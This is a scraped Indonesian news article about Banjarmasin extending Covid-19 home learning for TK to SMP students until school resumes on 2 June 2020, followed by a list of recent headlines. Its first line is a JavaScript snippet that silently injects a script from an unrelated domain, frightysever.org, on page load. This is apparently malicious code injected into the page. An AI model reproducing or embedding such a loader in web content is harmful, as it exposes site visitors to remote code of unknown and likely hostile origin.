(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Belajar dari Rumah di Banjarmasin Diperpanjang, Siswa Turun Sekolah Dijadwalkan 2 Juni


KANALKALIMANTAN.COM, BANJARMASIN – Wali Kota Banjarmasin H Ibnu Sina kembali memperpanjang masa belajar dari rumah peserta didik TK/PAUD, SD hingga SMP di kota Banjarmasin. Ini diambil sebagai imbas penyebaran Covid-19 di Kota Seribu Sungai.

Jika pada Surat Edaran (SE) sebelumnya dengan nomor 80/1280-Sekr/Dispendik/2020 di mana masa belajar dari rumah yang semula dari tanggal 1 hingga 14 April 2020, maka melalui SE baru dengan nomor 800/1505-Sekr/Dispendik/2020, masa libur diperpanjang kembali mulai 15 hingga 23 April 2020.

Namun demikian, ini diprediksi akan panjang. Karena akan memasuki masa libur Ramadhan dan Idul Fitri dari 24 April hingga 30 Mei 2020. Sehingga, siswa turun kembali ke sekolah pada 2 Juni 2020 mendatang.

“Pelaksanaan proses pembelajaran dan penugasan selama perpanjangan masa belajar dari rumah tetap mengacu pada SE Wali Kota nomor 80/1280-Sekr/Dispendik/2020,” kata Wali Kota Ibnu, Senin (13/4/2020).

Sebagai gantinya, Ibnu menjelaskan, para guru meminta siswanya untuk belajar dari rumah dan libur sekolah melalui beberapa platform. Baik yang disediakan oleh Kemdikbud, aplikasi belajar hingga melalui stasiun televisi nasional TVRI melalui siaran Belajar Bareng TVRI yang tayang setiap pagi.

Tak hanya itu, kegiatan pesantren Ramadhan juga tetap dilaksanakan dari rumah, agar siswa dapat melakukan kegiatan selama Ramadhan di rumah saja. Guru juga dapat memberikan materi-materi tambahan yang berkaitan dengan peningkatan keimanan dan akhlak mulia.

“Guru juga dapat membuatkan check list pelaksanaan tugas dan penyerahan hasil pelaksanaan dilakukan saat siswa kembali ke sekolah,” jelas Ibnu.

Di samping itu, Ibnu juga meminta orang tua/wali siswa untuk mengingatkan siswa agar tetap melaksanakan social distancing dan physical distancing selama masa belajar dari rumah dan libur sekolah. “Selain itu, tidak mendatangi keramaian, tidak berkumpul dengan temannya dan selalu menjaga jarak lebih dari 1,5 meter saat bersama orang lain,” pungkas Ibnu. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

2 jam ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

2 jam ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

3 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

4 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

7 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

7 jam ago

This website uses cookies.